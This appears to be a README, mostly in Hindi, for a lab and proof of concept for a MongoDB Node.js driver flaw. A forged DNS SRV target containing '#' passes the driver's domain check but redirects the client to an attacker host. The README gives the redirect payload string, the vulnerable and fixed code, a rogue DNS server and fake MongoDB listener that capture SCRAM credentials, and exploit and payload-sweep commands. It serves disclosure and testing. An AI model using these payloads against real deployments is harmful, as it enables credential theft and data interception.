
CVE-2026-126837 के लिए कंटेनरीकृत डिफरेंशियल लैब और PoC, जो MongoDB Node.js ड्राइवर में SRV टारगेट रीडायरेक्शन और 7.7.0 बनाम 7.8.0 पर SCRAM क्रेडेंशियल कैप्चर का प्रदर्शन करता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-126837 |
| घटक | MongoDB Node.js ड्राइवर (mongodb, mongodb/node-mongodb-native) — Initial DNS Seedlist Discovery |
| प्रभावित | 3.3.3 .. < 7.8.0 (semver) |
| में ठीक किया गया | 7.8.0 (commit 19e2d3b83, NODE-7830) |
| CWE | CWE-180 — Validate Before Canonicalize |
| CVSS | 4.0 — 9.1 CRITICAL (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N); 3.1 — 7.4 HIGH |
| प्रभाव | डेटाबेस ट्रैफ़िक को हमलावर होस्ट पर रीडायरेक्ट करना: क्रेडेंशियल इंटरसेप्शन (SCRAM प्रूफ़ ऑफ़लाइन क्रैक करने योग्य), एप्लिकेशन डेटा का अनपेक्षित प्रकटीकरण, बदले हुए क्वेरी परिणाम |
| वेक्टर | mongodb+srv:// कनेक्शन स्ट्रिंग के लिए जाली या हमलावर-प्रभावित DNS SRV प्रतिक्रिया |
| ट्रिगर | SRV लक्ष्य नाम में पैरेंट-डोमेन सफ़िक्स से पहले #, ?, या / होना |
| श्रेय | विक्रेता सलाह (CVE रिकॉर्ड में कोई रिपोर्टर नामित नहीं) |
ड्राइवर के SRV पैरेंट-डोमेन गार्ड में एक सत्यापन दोष किसी ऐसे पक्ष को, जो DNS SRV प्रतिक्रिया को जाली बना या संशोधित कर सकता है, mongodb+srv:// क्लाइंट को अपनी पसंद के किसी भी होस्ट पर रीडायरेक्ट करने देता है। गार्ड SRV लक्ष्य की तुलना पैरेंट डोमेन से एक सादे endsWith के माध्यम से उस स्ट्रिंग पर करता है जिसका सिंटैक्स कभी सत्यापित नहीं किया गया; फिर ड्राइवर उसी स्ट्रिंग को URL के रूप में पुनः पार्स करता है, जहाँ #, ? और / होस्ट नाम को जल्दी समाप्त कर देते हैं। कनेक्शन हमलावर होस्ट से स्थापित होता है, TLS पीड़ित के विरुद्ध मोड़कर: प्रमाणपत्र को रीडायरेक्ट किए गए नाम के विरुद्ध सत्यापित किया जाता है, जिसका स्वामित्व वैध रूप से हमलावर के पास है। क्लाइंट फिर अपना SCRAM प्रमाणीकरण आदान-प्रदान — जिसमें पासवर्ड से व्युत्पन्न क्लाइंट प्रूफ़ भी शामिल है — हमलावर को भेजता है। सादे mongodb:// URI का उपयोग करने वाले एप्लिकेशन प्रभावित नहीं हैं।
v7.7.0 में src/utils.ts:1158 पर स्थित असुरक्षित गार्ड:
export function checkParentDomainMatch(address: string, srvHost: string): void {
// Remove trailing dot if exists on either the resolved address or the srv hostname
const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;
const allCharacterBeforeFirstDot = /^.*?\./;
// Remove all characters before first dot
const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
...
if (!addressDomain.endsWith(srvHostDomain)) {
throw new MongoAPIError('Server record does not share hostname with parent URI');
}
}
यह गार्ड एक अनुगामी बिंदु हटाता है, पहले . तक का सब कुछ हटा देता है, और
endsWith को कॉल करता है। यह SRV लक्ष्य का कोई सिंटैक्स सत्यापन नहीं करता है। सत्यापित स्ट्रिंग फिर
HostAddress.fromString() में प्रवाहित होती है और HostAddress कंस्ट्रक्टर में पुनः पार्स की जाती है
(src/utils.ts:890):
const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;
cluster0.lab.mongodb.test (पैरेंट .lab.mongodb.test) और जाली लक्ष्य evil.attacker.test#.lab.mongodb.test के लिए जो अंकगणित टूटता है:
guard: "evil.attacker.test#.lab.mongodb.test"
remove everything before first dot -> tail ".lab.mongodb.test" retained
-> endsWith(".lab.mongodb.test") = TRUE -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
"#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
-> driver connects to evil.attacker.test
# कभी भी suffix तुलना को ब्लॉक नहीं करता क्योंकि guard raw string tail की तुलना करता है
(जिसका # suffix के पहले होता है), जबकि WHATWG URL parser उसी # को
fragment delimiter मानता है और host name को truncate कर देता है।
7.8.0 में किया गया fix, src/utils.ts:1185-1216, validate करने से पहले canonicalize करता है:
const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;
export function dnsNameToASCII(name: string): string | null {
if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
return null;
}
const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
return ascii === '' ? null : ascii;
}
export function normalizeDnsName(name: string): string {
const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
const normalized = dnsNameToASCII(withoutTrailingDot);
if (normalized == null) {
throw new MongoAPIError('Invalid DNS host name');
}
return normalized;
}
src/connection_string.ts:128-130 पर एकल SRV कॉल साइट पर लागू किया गया:
const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);
कोई भी #, ?, / या अन्य WHATWG-निषिद्ध कोड पॉइंट अब गार्ड से पहले, HostAddress.fromString से पहले, और किसी भी सॉकेट के खुलने से पहले MongoAPIError: Invalid DNS host name फेंकता है।
एक कंटेनर इमेज (cve-2026-126837:vuln) पूरा अंतर वहन करती है:
lab/src/dnsd.py) 127.0.0.1:53 पर — कंटेनर का
/etc/resolv.conf इसी की ओर इंगित करता है, इसलिए प्रत्येक नाम विश्लेषण (Node के c-ares SRV
लुकअप सहित) हमलावर-नियंत्रित DNS से होकर जाता है। यह SRV क्वेरी
_mongodb._tcp.cluster0.lab.mongodb.test का उत्तर हमलावर-चयनित लक्ष्य के साथ देता है और
evil.attacker.test को 127.0.0.1 पर रिज़ॉल्व करता है;lab/src/evilserver.py) 127.0.0.1:27017 पर — लैब CA द्वारा जारी
प्रमाणपत्र के साथ TLS एंडपॉइंट (हमलावर के अपने डोमेन के लिए उसके पास मौजूद सार्वजनिक रूप से
विश्वसनीय प्रमाणपत्र का स्थानापन्न), जो SDAM हैंडशेक पूरा करने और
SCRAM-SHA-256 एक्सचेंज को कैप्चर करने के लिए पर्याप्त MongoDB वायर प्रोटोकॉल (OP_QUERY ismaster,
OP_MSG hello/saslStart/saslContinue) बोलता है;lab/src/service.js) — चयनित ड्राइवर बिल्ड के चाइल्ड प्रोसेस के साथ प्रत्येक
कनेक्शन प्रयास चलाती है (ताकि ड्राइवर-स्तरीय विफलता देखी जाए, सेवा बंद न हो) और
हमलावर तथा DNS सर्वर के अवलोकनों को HTTP पर उजागर करती है;vuln = [email protected], fixed =
[email protected], साथ ही प्रभावित-श्रेणी मैट्रिक्स के लिए v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4।कमज़ोर और ठीक किए गए पक्ष केवल ड्राइवर पैकेज संस्करण में भिन्न हैं: समान बेस इमेज, समान DNS सर्वर, समान हमलावर लिसनर, समान सेवा, समान कनेक्शन प्रयास।
./run-lab.sh build # build lab + poc images
./run-lab.sh up # create network cve126837lab, start lab, wait for health
./run-lab.sh all # build, up, every PoC mode, capture evidence/, down-state logs
व्यक्तिगत मोड:
./run-lab.sh poc check --driver vuln # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed # exit 0 = safe
./run-lab.sh poc exploit --driver vuln # full SCRAM credential capture
./run-lab.sh poc probe # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions # 3.x .. 7.x affected-range matrix
./run-lab.sh state # copy DNS/attacker logs into evidence/
make build|up|down|check-vuln|check-fixed|exploit-vuln|exploit-fixed|probe|sweep|versions|all
समान लक्ष्यों को दर्शाता है। PoC स्वयं केवल stdlib-आधारित Python 3 है और किसी भी पहुँच योग्य लैब सेवा के विरुद्ध सीधे
python3 poc/poc.py <mode> के रूप में भी चलता है।
poc/poc.py, छह मोड, स्थिर एक्ज़िट कोड: